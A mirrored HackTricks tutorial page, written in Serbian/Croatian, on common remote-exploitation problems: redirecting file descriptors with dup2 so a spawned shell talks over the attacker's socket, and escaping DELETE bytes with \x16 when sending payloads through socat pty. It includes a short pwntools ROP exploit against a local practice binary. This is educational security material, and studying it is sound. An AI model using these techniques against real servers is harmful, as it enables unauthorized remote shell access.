mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			37 lines
		
	
	
		
			1.6 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			37 lines
		
	
	
		
			1.6 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # Uobičajeni Problemi Eksploatacije
 | |
| 
 | |
| {{#include ../banners/hacktricks-training.md}}
 | |
| 
 | |
| ## FDs u Daljinskoj Eksploataciji
 | |
| 
 | |
| Kada se šalje eksploatacija na daljinski server koji poziva **`system('/bin/sh')`**, to će se izvršiti u procesu servera, i `/bin/sh` će očekivati ulaz sa stdin (FD: `0`) i će ispisivati izlaz na stdout i stderr (FD-ovi `1` i `2`). Tako da napadač neće moći da interaguje sa shell-om.
 | |
| 
 | |
| Jedan način da se to reši je da se pretpostavi da kada je server pokrenut, stvorio je **FD broj `3`** (za slušanje) i da će vaša veza biti u **FD broju `4`**. Stoga, moguće je koristiti sistemski poziv **`dup2`** da se duplira stdin (FD 0) i stdout (FD 1) u FD 4 (onaj od veze napadača) kako bi se omogućila komunikacija sa shell-om kada se izvrši.
 | |
| 
 | |
| [**Primer eksploatacije odavde**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
 | |
| ```python
 | |
| from pwn import *
 | |
| 
 | |
| elf = context.binary = ELF('./vuln')
 | |
| p = remote('localhost', 9001)
 | |
| 
 | |
| rop = ROP(elf)
 | |
| rop.raw('A' * 40)
 | |
| rop.dup2(4, 0)
 | |
| rop.dup2(4, 1)
 | |
| rop.win()
 | |
| 
 | |
| p.sendline(rop.chain())
 | |
| p.recvuntil('Thanks!\x00')
 | |
| p.interactive()
 | |
| ```
 | |
| ## Socat & pty
 | |
| 
 | |
| Napomena da socat već prenosi **`stdin`** i **`stdout`** na soket. Međutim, `pty` režim **uključuje DELETE karaktere**. Dakle, ako pošaljete `\x7f` ( `DELETE` -) to će **obrisati prethodni karakter** vašeg eksploita.
 | |
| 
 | |
| Da biste to zaobišli, **karakter za bekstvo `\x16` mora biti prethodjen bilo kojem `\x7f` koji se šalje.**
 | |
| 
 | |
| **Ovde možete** [**pronaći primer ovog ponašanja**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
 | |
| 
 | |
| {{#include ../banners/hacktricks-training.md}}
 |